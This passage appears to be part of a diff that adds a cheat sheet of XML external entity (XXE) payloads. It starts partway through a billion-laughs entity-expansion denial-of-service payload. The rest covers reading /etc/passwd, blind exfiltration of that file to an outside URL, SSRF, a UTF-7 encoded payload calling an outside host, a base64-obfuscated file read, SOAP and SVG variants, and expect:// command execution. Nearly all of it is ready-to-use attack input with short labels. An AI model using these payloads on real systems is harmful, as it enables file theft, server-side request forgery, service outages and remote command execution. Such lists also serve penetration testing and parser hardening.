"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> +<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> +<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> +<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> +<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> +<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> +<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> +<tag>&lol9;</tag> +``` + +* XXE: Local File Inclusion Example +``` +<?xml version="1.0"?> +<!DOCTYPE foo [ +<!ELEMENT foo (#ANY)> +<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo> +``` + +* XXE: Blind Local File Inclusion Example (When first case doesn't return anything.) +``` +<?xml version="1.0"?> +<!DOCTYPE foo [ +<!ELEMENT foo (#ANY)> +<!ENTITY % xxe SYSTEM "file:///etc/passwd"> +<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo> +``` + +* XXE: Access Control Bypass (Loading Restricted Resources - PHP example) +``` +<?xml version="1.0"?> +<!DOCTYPE foo [ +<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]> +<foo><result>&ac;</result></foo> +``` + +* XXE:SSRF ( Server Side Request Forgery ) Example +``` +<?xml version="1.0"?> +<!DOCTYPE foo [ +<!ELEMENT foo (#ANY)> +<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo> +``` + +* XXE: (Remote Attack - Through External Xml Inclusion) Exmaple +``` +<?xml version="1.0"?> +<!DOCTYPE lolz [ +<!ENTITY test SYSTEM "https://example.com/entity1.xml">]> +<lolz><lol>3..2..1...&test<lol></lolz> +``` + +* XXE: UTF-7 Exmaple +``` +<?xml version="1.0" encoding="UTF-7"?> ++ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4 ++ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+ ++ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4 +``` + +* XXE: Base64 Encoded +``` +<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/> +``` + +* XXE: XXE inside SOAP Example +``` +<soap:Body> + <foo> + <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]> + </foo> +</soap:Body> +``` + +* XXE: XXE inside SVG +``` +<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"> + <image xlink:href="expect://ls"></image> +</svg> +```